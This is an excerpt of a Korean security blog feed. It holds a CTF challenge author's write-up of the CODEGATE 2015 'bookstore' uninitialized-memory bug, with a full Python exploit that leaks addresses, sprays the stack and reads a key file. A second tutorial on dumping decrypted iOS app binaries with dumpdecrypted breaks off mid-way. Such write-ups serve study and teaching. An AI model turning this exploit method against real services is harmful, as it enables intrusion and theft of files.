&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;올해 코드게이트는 우리회사에서 진행하게 되어서 나도 함께 문제를 출제하게 되었는데&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;사실 이번 코드게이트 같이 매우 큰 규모의 CTF에서의 문제 출제는 처음이었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 어느 문제를 내야할지 상당히 고민을 많이 했는데, 난이도가 어려운 문제는 이미 다른 멤버들이 담담해주시니 ㅋㅋ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;나는 지금까지 리얼월드에서 찾은 취약점중 재미있던 취약점을 문제에 적용시키기로 했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 중간고사 직전인 지금 중간고사 공부가 재미없어서 오랜만에 블로그에 글이나 써볼까 하다가..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;나오게된 셀프 Write-Up!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Bookstore -&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile29.uf@2652DF335531374A2AAF02&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; bookstore_bin&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Bug Class : Uninitialized memory reference&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;문제의 컨셉은 서점의 책을 관리해주는 간단한 어플리케이션이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;바이너리는 32비트이며 PIE / ASLR / NX 모두 적용되어있는 바이너리이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아마 이런 유형의 취약점을 처음 찾아본다면 취약점을 찾는데 약간 어려웠을 수도 있는데 &lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;문제를 풀고나면 생각보다 간단했을 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;이미 다른 분들이 써둔 Write-up이 있으니 이 포스팅에선 문제 버그에 대한 원리만 간단하게 설명해보도록 하겠다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:148px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2164EF48553139182C&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;246&quot; style=&quot;text-align: center;&quot; width=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;예를들어서 위와 같은 구조체가 있다고 하자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:145px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/265B09485531392032&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;244&quot; style=&quot;text-align: center;&quot; width=&quot;145&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;이때 우리가 새로운 구조체를 스택(지역변수)에 만들었다고 한다고 할때 기본적으로 구조체라면 위와 같이 생겼을 것이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:147px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/26623A485531391E2F&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;246&quot; style=&quot;text-align: center;&quot; width=&quot;147&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;그래서 필요한 경우에 따라 위처럼 값을 채워나갈 것이다.&lt;/p&gt;&lt;p&gt;그리고 위에 보면 그대로 0인 부분이 있는데 이 부분은 정상적인 0인 값이거나 내가 별도로 &lt;b&gt;초기화 하지 않은 부분&lt;/b&gt;이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아까 말했듯이 구조체를 지역변수로 만들 경우 스택에 일정 공간을 잡아두고 그 곳에 데이터를 채워 넣는 방식이라고 했다.&lt;/p&gt;&lt;p&gt;사용할 스택을 미리 예측해서 그 부분에 Stack Spray(?)를 해놓고 나중에 구조체가 그 스프레이된 곳에서 세팅하도록 유도한다면 어떨까?&lt;/p&gt;&lt;p&gt;문제 내에서는 이유없이 이상하게 3000바이트를 받고 약 200바이트 약간 안되게 잘라서 다시 넣는 부분이 있을 것이다.&lt;/p&gt;&lt;p&gt;사실 풀어본 사람은 알겠지만 그 부분이 바로 스택 스프레이를 하는 부분이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:148px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2164EF48553139182C&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;246&quot; style=&quot;text-align: center;&quot; width=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;그렇다면 다시 살펴보자.&lt;/p&gt;&lt;p&gt;위와 같은 구조체가 있다고 하고 스택영역에 할당될 예정이다.&lt;/p&gt;&lt;p&gt;그전에 미리 3000바이트 정도 스택영역에 스프레이를 해두면 실제 구조체를 만들 당시 아무 값도 초기화 하지 않을 경우 아래그림과 같은 상태일 것이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:146px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/271589485531391A0D&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;248&quot; style=&quot;text-align: center;&quot; width=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;위는 스택 스프레이가 진행된 모습이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:148px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/257826485531391C1F&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;249&quot; style=&quot;text-align: center;&quot; width=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;그래서 구조체를 세팅하다보면 아까와는 달리 초기화 하지 않은 일부 0인 부분이 AAAA 로 변한 모습이 보일 것이다. &lt;b&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;s3는 잘못 색칠한것임! 원래 AAAA임!, s4는 위에 언급했듯이 원래 0값으로 가정.&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위와 같이 내 맘대로 원하는 구조체를 저렇게 바꿔버리면 프로그램의 흐름을 바꿀 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 탄생한 Exploit 은 다음과 같다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;#Exploit&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;from socket import *&lt;/p&gt;&lt;p&gt;import struct&lt;/p&gt;&lt;p&gt;import os&lt;/p&gt;&lt;p&gt;p = lambda x : struct.pack(&quot;&lt;L&quot;, x)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ip = &quot;0.0.0.0&quot; # blind&lt;/p&gt;&lt;p&gt;port = 31337&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;print &quot;[*] CODEGATE 2015 bookstore exploit.&quot;&lt;/p&gt;&lt;p&gt;print &quot;[*] Start Exploit.&quot;&lt;/p&gt;&lt;p&gt;s = socket(AF_INET, SOCK_STREAM)&lt;/p&gt;&lt;p&gt;s.connect((ip, port))&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;def r(s):&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;result = &quot;&quot;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;try:&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;		&lt;/span&gt;while 1:&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;			&lt;/span&gt;s.settimeout(0.1)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;			&lt;/span&gt;tmp = s.recv(1)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;			&lt;/span&gt;result  = tmp&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;			&lt;/span&gt;if len(tmp) == 0:&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;				&lt;/span&gt;#print tmp&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;				&lt;/span&gt;break&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;except:&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;		&lt;/span&gt;pass&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;return result&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;#def s(s, a):&lt;/p&gt;&lt;p&gt;#&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;s.sendall(a)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;helloadmin&quot;)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;iulover!@#$&quot;);&lt;/p&gt;&lt;p&gt;#print r(s)&lt;/p&gt;&lt;p&gt;for i in range(0, 3):&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;#s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;#s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;print r(s)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;# s.sendall(&quot;1&quot;)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;# s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;s.sendall(&quot;1\n&quot;)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;print r(s)#s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;s.sendall(&quot;AAAAA&quot;)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;print r(s)#s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;#s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;s.sendall(&quot;AAAAA&quot;)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;print r(s)#s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;#s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;s.sendall(&quot;0\n&quot;)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;# s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;# s.sendall(str(0x42424242) &quot;\n&quot;)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;# s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;# s.sendall(str(0x42424242) &quot;\n&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;2\n&quot;) # into modify option&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;1\n&quot;) # target index&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;#s.recv(1024)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(&quot;3\n&quot;) # modify all&lt;/p&gt;&lt;p&gt;s.recv(1024)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(str(0x42424242) &quot;\n&quot;)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;#s.recv(1024)&lt;/p&gt;&lt;p&gt;s.sendall(str(0x42424242) &quot;\n&quot;)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;1\n&quot;) # modify all&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;1\n&quot;) # modify all&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;A&quot;*20)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;C&quot;*30)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;0\n&quot;) # exi&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(&quot;4\n&quot;) # show list&lt;/p&gt;&lt;p&gt;leak = r(s)&lt;/p&gt;&lt;p&gt;#leak = s.recv(1024)&lt;/p&gt;&lt;p&gt;b = leak.split(&quot;AAAAAAAAAAAAAAAAAAAABBBBBBBB&quot;)[1][:4]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;point = ((struct.unpack(&quot;&lt;L&quot;, b)[0]&amp;0xfffff000) 0x8db)&lt;/p&gt;&lt;p&gt;print &quot;[*] LEAKED Memory : &quot; str(hex(point))&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(&quot;2\n&quot;) # into modify option&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;0\n&quot;) # target index&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(&quot;1\n&quot;) # modify bookname&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;A&quot;*30)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;import time&lt;/p&gt;&lt;p&gt;s.sendall(&quot;2\n&quot;) # modify bookdescription&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;time.sleep(0.3)&lt;/p&gt;&lt;p&gt;s.sendall(p(point)*(2800/4))&lt;/p&gt;&lt;p&gt;time.sleep(0.3)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(&quot;3\n&quot;) # create vuln object&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(str(0x42424242) &quot;\n&quot;)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(str(0x42424242) &quot;\n&quot;)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;0\n&quot;) # free shipping&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;1\n&quot;) # now avaliable&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;/home/bookstore/key&quot;)&lt;/p&gt;&lt;p&gt;# s.sendall(&quot;/home/sweetchip/key&quot;)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;A&quot;)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(&quot;4\n&quot;) # change free shipping option&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;1\n&quot;)&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(&quot;0\n&quot;) # back to main menu&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(&quot;4\n&quot;) # show list&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.sendall(&quot;3\n&quot;) # item info&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;s.sendall(&quot;0\n&quot;)#index&lt;/p&gt;&lt;p&gt;print r(s)&lt;/p&gt;&lt;p&gt;#print &quot;[*] Key is : &quot; r(s).split(&quot;====================================================================&quot;)[0].split(&quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n&quot;)[1].replace(&quot;\n&quot;, &quot;&quot;)&lt;/p&gt;&lt;p&gt;s.close()&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;곧바로 다음 포스팅은 본선에 출제된 bookstore2...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;감사합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x13 Write-Up</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/374</guid>
      <comments>https://pgnsc.tistory.com/374#entry374comment</comments>
      <pubDate>Fri, 17 Apr 2015 18:57:37 +0900</pubDate>
    </item>
    <item>
      <title>IOS 앱 원본 바이너리 추출 및 복호화 - dumpdecrypted</title>
      <link>https://pgnsc.tistory.com/371</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;


&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;안녕하세요.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;요즘 학교 6시간 연강에 고통받으랴 회사일 개인연구.. 등등에 고통받고 있느라 블로그를 잘 못하게 되네요..&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;얼마전에 IOS에 대해서 연구를 하고싶은게 있어서(라고 썻지만 가지고 놀려고..) 아이패드를 구입하게 되었는데 IOS 앱 바이너리를 추출해보고 싶었습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;우선 아이패드의 운영체제인 IOS 8 기준으로 앱스토어에서 다운로드 받은 어플리케이션들은 모두 암호화 되어있다고 합니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;그래서 실행할 경우 언패킹 과정을 거쳐 메모리에 원본 바이너리를 올린 뒤에 실제 프로그램 루틴이 실행 된다고 하는데, 자세한 원리는 아래 링크를 참고해보시면 되겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: rgb(0, 126, 122); font-family: 'Open Sans', sans-serif; font-size: 17px; line-height: 18.7000007629395px; text-transform: capitalize;&quot;&gt;[IOS Tutorial #1] IOS App 암호화 해제하기 (Decrypting IOS App Binary Encryption) On IOS 6.1.3&lt;/span&gt;&lt;/p&gt;
&lt;p&gt; - &lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;a href=&quot;http://repo.kr/0x04-ios-penetration-testing/decrypting-ios-app-binary-encryption-on-ios-6-1-3/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://repo.kr/0x04-ios-penetration-testing/decrypting-ios-app-binary-encryption-on-ios-6-1-3/&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;hr style=&quot;display:block; border: black 0 none; border-top: black 1px solid; height: 1px&quot;&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;자, 이제 앱 원본 바이너리를 추출해 봅시다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(34, 116, 28);&quot;&gt;/*&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(34, 116, 28);&quot;&gt;* 이 포스팅은 IOS &lt;/span&gt;&lt;span style=&quot;color: rgb(34, 116, 28);&quot;&gt;연구를 하시는 분들을 위하여 작성된 게시물 입니다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(34, 116, 28);&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5; color: rgb(34, 116, 28);&quot;&gt; 해당&lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;span style=&quot;color: rgb(34, 116, 28);&quot;&gt; 포스팅을 이용하여 불법적으로 상업적인 이득을 취하거나 그 외 법적으로 문제가 발생할 경우 &lt;/span&gt;&lt;span style=&quot;color: rgb(34, 116, 28);&quot;&gt;책임은 본인에게 있음을 알려드립&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 116, 28);&quot;&gt;니다.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(34, 116, 28);&quot;&gt;*/&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;먼저 준비물은 맥북(Mac os가 설치된 컴퓨터), &lt;b&gt;Root 권한을 얻은&lt;/b&gt; 아이폰이나 아이패드 등의 &lt;b&gt;IOS가 설치된 기기&lt;/b&gt;가 필요합니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;또한 아래는 IOS 8.1 기준으로 진행한 방법입니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;우선 바이너리를 추출하고 복호화 하는 방법은 여러가지가 있지만 그 중 대표적인 방법은 실행된 바이너리를 GDB로 붙여서 메모리 덤프를 해서 실행 파일로 만드는 것입니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;하지만 이 과정도 상당히 귀찮은 면이 많기때문에 stefan esser 라는 외국 짱짱해커분이 만들어두신 dumpdecrypted 로 비교적 쉽게 덤프가 가능합니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/stefanesser/dumpdecrypted&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/stefanesser/dumpdecrypted&lt;/a&gt; 의 프로젝트를 다운로드 받고 make 명령어로 dylib 파일을 생성합니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ &lt;b&gt;git clone git://github.com/stefanesser/dumpdecrypted&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Cloning into 'dumpdecrypted'...&lt;/p&gt;
&lt;p&gt;remote: Counting objects: 31, done.&lt;/p&gt;
&lt;p&gt;remote: Total 31 (delta 0), reused 0 (delta 0), pack-reused 31&lt;/p&gt;
&lt;p&gt;Receiving objects: 100% (31/31), 6.50 KiB | 0 bytes/s, done.&lt;/p&gt;
&lt;p&gt;Resolving deltas: 100% (15/15), done.&lt;/p&gt;
&lt;p&gt;Checking connectivity... done.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ &lt;b&gt;ls&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;dumpdecrypted&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ cd dumpdecrypted/&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ ls&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Makefile README dumpdecrypted.c&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
